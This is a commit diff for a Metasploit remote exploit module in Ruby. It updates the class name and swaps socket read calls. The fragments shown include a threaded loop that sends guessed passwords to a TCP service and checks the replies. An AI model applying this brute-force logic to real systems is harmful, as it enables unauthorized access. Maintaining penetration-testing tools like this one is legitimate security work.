fixed socket.get issue
parent
63db330a02
commit
16b4829d57
|
@ -7,7 +7,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rank = NormalRanking
|
Rank = NormalRanking
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
connect
|
connect
|
||||||
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
|
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
|
||||||
::IO.select(nil, nil, nil, 1)
|
::IO.select(nil, nil, nil, 1)
|
||||||
res = sock.get
|
res = sock.get_once
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
if !res && !res.empty?
|
if !res && !res.empty?
|
||||||
|
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
t = Thread.new(item) do |count|
|
t = Thread.new(item) do |count|
|
||||||
sock = connect
|
sock = connect
|
||||||
sock.put(password + "\n")
|
sock.put(password + "\n")
|
||||||
res = sock.get
|
res = sock.get_once
|
||||||
|
|
||||||
until res.empty?
|
until res.empty?
|
||||||
break unless results.empty?
|
break unless results.empty?
|
||||||
|
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
elsif res =~ /Error/
|
elsif res =~ /Error/
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
res = sock.get
|
res = sock.get_once
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue